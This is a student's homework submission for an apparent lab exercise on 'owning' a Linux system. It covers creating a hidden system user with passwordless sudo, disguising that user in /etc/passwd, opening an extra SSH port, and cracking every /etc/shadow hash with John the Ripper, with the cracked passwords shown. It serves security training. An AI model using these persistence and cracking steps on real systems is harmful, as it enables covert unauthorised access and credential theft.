**Week 6 Homework Submission File: Advanced Bash - Owning the System**

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
   * Your solution command here

**root:~\ $ adduser --system --uid 28 --group --no-create-home sysd**

**root:~\ $ ls /home**

**babbage lovelace mitnik stallman student sysadmin turing vagrant**

1. Give your secret user a password:
   * Your solution command here

**root:~\ $ passwd sysd**

**Enter new UNIX password:**

**Retype new UNIX password:**

**passwd: password updated successfully**

1. Give your secret user a system UID < 1000:
   * Your solution command here
   * **Secret user was given a system UID of 28 when it was created.**

**Adding system user `sysd' (UID 28) ...**

**Not creating home directory `/home/sysd'.**

1. Give your secret user the same GID:
   * Your solution command here
   * **Secret user was given the same GID of 28 as it’s UID.**

**Adding new group `sysd' (GID 28) ...**

**Adding new user `sysd' (UID 28) with group `sysd' ...**

**root:~\ $ id sysd**

**uid=28(sysd) gid=28(sysd) groups=28(sysd)**

**root:~\ $ cat /etc/passwd | tail -1**

**sysd:x:28:28::/home/sysd:/usr/sbin/nologin (I didn’t change the shell because I wanted sysd user to resemble an actual system user)**

1. Give your secret user full sudo access without the need for a password:
   * Your solution command here

**root:~\ $ visudo**

**# Allow members of group sudo to execute any command**

**%sudo ALL=(ALL:ALL) ALL**

**%sysd ALL=(ALL) NOPASSWD:ALL**

1. Test that sudo access works without your password:

**root:~\ $ su sysd**

**This account is currently not available.**

* **This error occurred because when I created the secret user, it was created as a new system user and system users by default have the shell <home dir> /usr/sbin/nologin. I could change the shell to /bin/bash which would allow me to switch to sysd user.**

**root:~\ $ chsh -s /bin/bash sysd**

**root:~\ $ su sysd**

**sysd@scavenger-hunt:/home/sysadmin$**

**OR**

* **I could switch to the /usr/sbin/nologin user account by executing the following command:**

**root:~\ $ su -s /bin/bash sysd**

**sysd@scavenger-hunt:/home/sysadmin$**

**OR**

* **I could edit the /etc/passwd file and delete /home/sysd for sysd user and place it in chronological order (which I did -- makes sysd user look more incognito and legit). Also, when I switch to sysd user I can simply execute su sysd. Another interesting thing I found out by performing this action was that sysd’s search history or cursor position does not save or load. So, you couldn’t run history to see what commands I ran.**

**root:~\ $ whoami**

**root**

**root:~\ $ su sysd**

**$ whoami**

**sysd**

**$ cat /etc/passwd | head -20**

**root:x:0:0:root:/root:/bin/bash**

**daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin**

**bin:x:2:2:bin:/bin:/usr/sbin/nologin**

**sys:x:3:3:sys:/dev:/usr/sbin/nologin**

**sync:x:4:65534:sync:/bin:/bin/sync**

**games:x:5:60:games:/usr/games:/usr/sbin/nologin**

**man:x:6:12:man:/var/cache/man:/usr/sbin/nologin**

**lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin**

**mail:x:8:8:mail:/var/mail:/usr/sbin/nologin**

**news:x:9:9:news:/var/spool/news:/usr/sbin/nologin**

**uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin**

**proxy:x:13:13:proxy:/bin:/usr/sbin/nologin**

**sysd:x:28:28::/usr/sbin/nologin 🡸====================**

**www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin**

**backup:x:34:34:backup:/var/backups:/usr/sbin/nologin**

**list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin**

**irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin**

**gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin**

**nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin**

**systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin**

**$ sudo -l**

**User sysd may run the following commands on scavenger-hunt:**

**(ALL) NOPASSWD: ALL**

**$ pwd**

**/home/sysadmin**

**$ ls ../**

**ls: cannot access '../': Permission denied**

**$ sudo ls ../**

**babbage lovelace mitnik stallman student sysadmin turing vagrant**

**$**

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

**sysd@scavenger-hunt:/home/sysadmin$ sudo nano /etc/ssh/sshd\_config**

**Port 22**

**Port 2222**

**# Authentication:**

**PubkeyAuthentication yes**

**Step 3: Testing Your Configuration Update**

1. Restart the SSH service:
   * Your solution command here

**$ sudo systemctl restart ssh**

**$ systemctl status ssh**

**● ssh.service - OpenBSD Secure Shell server**

**Loaded: loaded (/lib/systemd/system/ssh.service; enabled; vendor preset: enabled)**

**Active: active (running) since Tue 2022-03-29 07:02:11 UTC; 18s ago**

**Process: 15130 ExecStartPre=/usr/sbin/sshd -t (code=exited, status=0/SUCCESS)**

**Main PID: 15141 (sshd)**

**Tasks: 1 (limit: 1108)**

**CGroup: /system.slice/ssh.service**

**└─15141 /usr/sbin/sshd -D**

**$**

1. Exit the root account:
   * Your solution command here

**$ exit**

**exit**

**root:~\ $ exit**

**exit**

**sysadmin:~\ $ exit**

**logout**

**Connection to 192.168.6.105 closed.**

**sysadmin@UbuntuDesktop:~$**

1. SSH to the target machine using your sysd account and port 2222:
   * Your solution command here

**sysadmin@UbuntuDesktop:/$ ssh sysd@192.168.6.105 -p 2222**

**sysd@192.168.6.105's password:**

**Last login: Tue Mar 29 08:39:40 2022 from 192.168.6.104**

**Could not chdir to home directory /usr/sbin/nologin: Not a directory**

**$**

1. Use sudo to switch to the root user:
   * Your solution command here

**$ sudo -s**

**# whoami**

**root**

**#**

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * Your solution command here

**sysadmin@UbuntuDesktop:~$ ssh sysd@192.168.6.105 -p 2222**

**sysd@192.168.6.105's password:**

**Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86\_64)**

**$**

1. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * Your solution command here

**$ sudo -s**

**# whoami**

**root**

**# john --wordlist=/home/student/Desktop/.pass\_list.txt john.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**Press 'q' or Ctrl-C to abort, almost any other key for status**

**trustno1 (mitnik)**

**freedom (babbage)**

**computer (stallman)**

**3g 0:00:00:30 100% 0.09813g/s 29.53p/s 191.6c/s 191.6C/s 1782..00**

**Use the "--show" option to display all of the cracked passwords reliably**

**Session completed**

**# john --show john.txt**

**mitnik:trustno1:18387:0:99999:7:::**

**babbage:freedom:18387:0:99999:7:::**

**stallman:computer:18387:0:99999:7:::**

**3 password hashes cracked, 5 left**

**# john --wordlist=/usr/share/john/password.lst john.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**Remaining 5 password hashes with 5 different salts**

**Press 'q' or Ctrl-C to abort, almost any other key for status**

**dragon (lovelace)**

**lakers (turing)**

**passw0rd (sysadmin)**

**3g 0:00:00:43 100% 0.06879g/s 81.31p/s 219.8c/s 219.8C/s !@#$%..sss**

**Use the "--show" option to display all of the cracked passwords reliably**

**Session completed**

**# john --show john.txt**

**sysadmin:passw0rd:18387:0:99999:7:::**

**mitnik:trustno1:18387:0:99999:7:::**

**babbage:freedom:18387:0:99999:7:::**

**lovelace:dragon:18387:0:99999:7:::**

**stallman:computer:18387:0:99999:7:::**

**turing:lakers:18387:0:99999:7:::**

**6 password hashes cracked, 2 left**

**# john -salts:2 john.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**No password hashes left to crack (see FAQ)**

**# john -salts:-2 john.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**Remaining 2 password hashes with 2 different salts**

**Press 'q' or Ctrl-C to abort, almost any other key for status**

**Goodluck! (student)**

**1g 0:02:09:19 3/3 0.000128g/s 200.0p/s 211.5c/s 211.5C/s lyzht2..llaz08**

**Use the "--show" option to display all of the cracked passwords reliably**

**Session aborted**

**# john --show john.txt**

**sysadmin:passw0rd:18387:0:99999:7:::**

**student:Goodluck!:18387:0:99999:7:::**

**mitnik:trustno1:18387:0:99999:7:::**

**babbage:freedom:18387:0:99999:7:::**

**lovelace:dragon:18387:0:99999:7:::**

**stallman:computer:18387:0:99999:7:::**

**turing:lakers:18387:0:99999:7:::**

**7 password hashes cracked, 1 left**

**# john john.txt**

**Loaded 8 password hashes with 8 different salts (crypt, generic crypt(3) [?/64])**

**Remaining 1 password hash**

**Press 'q' or Ctrl-C to abort, almost any other key for status**

**hacker (sysd)**

**1g 0:00:00:14 100% 2/3 0.06798g/s 236.7p/s 236.7c/s 236.7C/s brenda..keith**

**root:~\ $ john --show john.txt**

**sysadmin:passw0rd:18387:0:99999:7:::**

**student:Goodluck!:18387:0:99999:7:::**

**mitnik:trustno1:18387:0:99999:7:::**

**babbage:freedom:18387:0:99999:7:::**

**lovelace:dragon:18387:0:99999:7:::**

**stallman:computer:18387:0:99999:7:::**

**turing:lakers:18387:0:99999:7:::**

**sysd:hacker:19084:0:99999:7:::**

**8 password hashes cracked, 0 left**